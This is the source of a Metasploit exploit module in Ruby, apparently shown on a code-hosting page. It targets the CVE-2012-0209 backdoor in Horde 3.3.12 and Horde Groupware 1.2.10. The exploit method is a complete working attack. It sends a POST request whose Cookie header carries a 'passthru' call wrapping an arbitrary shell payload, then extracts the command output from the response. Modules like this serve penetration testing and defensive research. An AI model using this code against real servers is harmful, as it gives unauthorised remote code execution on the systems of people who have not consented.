Alan Foster
90 lines
2.6 KiB
Ruby
90 lines
2.6 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Horde 3.3.12 Backdoor Arbitrary PHP Code Execution',
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'Description' => %q{
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This module exploits an arbitrary PHP code execution vulnerability introduced
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as a backdoor into Horde 3.3.12 and Horde Groupware 1.2.10.
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},
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'Author' => [
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'Eric Romang', # first public PoC
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'jduck' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2012-0209'],
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[ 'OSVDB', '79246'],
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[ 'EDB', '18492'],
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[ 'URL', 'http://dev.horde.org/h/jonah/stories/view.php?channel_id=1&id=155' ],
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[ 'URL', 'http://eromang.zataz.com/2012/02/15/cve-2012-0209-horde-backdoor-analysis/' ]
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],
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'Privileged' => false,
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'Payload' =>
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{
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'BadChars' => "\x0a\x0d",
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'DisableNops' => true,
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'Space' => 4096,
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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}
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},
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'Platform' => %w{ linux unix },
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'Arch' => ARCH_CMD,
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'DefaultTarget' => 0,
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'Targets' => [[ 'Automatic', { }]],
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'DisclosureDate' => '2012-02-13'
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))
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register_options(
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[
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OptString.new('URI', [true, "Path to Horde installation", "/horde"]),
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OptString.new('APP', [true, "App parameter required by javascript.php (must be active)", "horde"]),
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])
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end
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def exploit
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# Make sure the URI begins with a slash
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uri = datastore['URI']
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function = "passthru"
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key = Rex::Text.rand_text_alpha(6)
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arguments = "echo #{key}`"+payload.raw+"`#{key}"
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res = send_request_cgi({
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'uri' => normalize_uri(uri, "/services/javascript.php"),
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'method' => 'POST',
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'ctype' => 'application/x-www-form-urlencoded',
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'data' => "app="+datastore['APP']+"&file=open_calendar.js",
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'headers' =>
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{
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'Cookie' => "href="+function+":"+arguments,
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'Connection' => 'Close',
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}
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}) #default timeout, we don't care about the response
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if not res
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fail_with(Failure::NotFound, 'The server did not respond to our request')
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end
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resp = res.body.split(key)
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if resp and resp[1]
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print_status(resp[1])
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else
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print_error("No response found")
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end
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handler
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end
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end
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